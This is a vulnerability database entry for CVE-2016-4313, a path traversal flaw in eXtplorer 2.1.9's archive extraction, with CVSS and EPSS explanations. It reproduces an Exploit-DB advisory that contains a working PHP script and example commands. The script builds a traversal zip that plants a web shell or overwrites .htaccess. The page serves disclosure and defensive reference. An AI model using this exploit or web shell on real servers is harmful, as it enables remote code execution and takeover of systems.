CVE-2016-4313 Detail

CVE-2016-4313

Score / Severity

7.8

High

CVE Descriptions

Directory traversal vulnerability in unzip/extract feature in eXtplorer 2.1.9 allows remote attackers to execute arbitrary files via a .. (dot dot) in an archive file.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V3.0	7.8	HIGH	CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H More informations Base: Exploitabilty Metrics The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. Local A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Low Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. None The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Required Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope Metrics An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. Unchanged An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact Metrics The Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. High There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. High There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. High There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal Metrics The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics	nvd@nist.gov
V2	6.8		AV:N/AC:M/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 39816

Publication date : 2016-05-15 22h00 +00:00
Author : hyp3rlinx
EDB Verified : No

/* [+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/EXTPLORER-ARCHIVE-PATH-TRAVERSAL.txt [+] ISR: apparitionsec Vendor: ============== extplorer.net Product: ================== eXtplorer v2.1.9 eXtplorer is a PHP and Javascript-based File Manager, it allows to browse directories, edit, copy, move, delete, search, upload and download files, create & extract archives, create new files and directories, change file permissions (chmod) and more. It is often used as FTP extension for popular applications like Joomla. Vulnerability Type: ====================== Archive Path Traversal CVE Reference: ============== CVE-2016-4313 Vulnerability Details: ===================== eXtplorer unzip/extract feature allows for path traversal as decompressed files can be placed outside of the intended target directory, if the archive content contains "../" characters. This can result in files like ".htaccess" being overwritten or RCE / back door exploits. Tested on Windows Reproduction steps: ================== 1) Generate an archive using below PHP script 2) Upload it to eXtplorer and then extract it 3) Check directory for the default 'RCE.php' file or use CL switch to overwrite files like .htaccess Exploit code(s): =============== Run below PHP script from CL... [evil-archive.php] */ <?php if($argc<4){echo "Usage: <zip name>, <path depth>, <RCE.php as default? Y/[file]>";exit();} $zipname=$argv[1]; $exploit_file="RCE.php"; $cmd='<?php exec($_GET["cmd"]); ?>'; if(!empty($argv[2])&&is_numeric($argv[2])){ $depth=$argv[2]; }else{ echo "Second flag <path depth> must be numeric!, you supplied '$argv[2]'"; exit(); } if(strtolower($argv[3])!="y"){ if(!empty($argv[3])){ $exploit_file=$argv[3]; } if(!empty($argv[4])){ $cmd=$argv[4]; }else{ echo "Usage: enter a payload for file $exploit_file wrapped in double quotes"; exit(); } } $zip = new ZipArchive(); $res = $zip->open("$zipname.zip", ZipArchive::CREATE); $zip->addFromString(str_repeat("..\\", $depth).$exploit_file, $cmd); $zip->close(); echo "\r\nExploit archive $zipname.zip created using $exploit_file\r\n"; echo "================ by hyp3rlinx ==================="; ?> /* /////////////////////////////////////////////////////////////////////// [Script examples] Use default RCE.php by passing "y" flag creating DOOM.zip with path depth of 2 levels c:\>php evil-archive.php DOOM 2 Y Create DOOM.zip with path depth of 4 levels and .htaccess file to overwrite one on the system. c:\>php evil-archive.php DOOM 4 .htaccess "allow from all" Disclosure Timeline: =================================== Vendor Notification: No reply May 14, 2016 : Public Disclosure Exploitation Method: ====================== Local Severity Level: ================ Medium 6.3 CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. hyp3rlinx */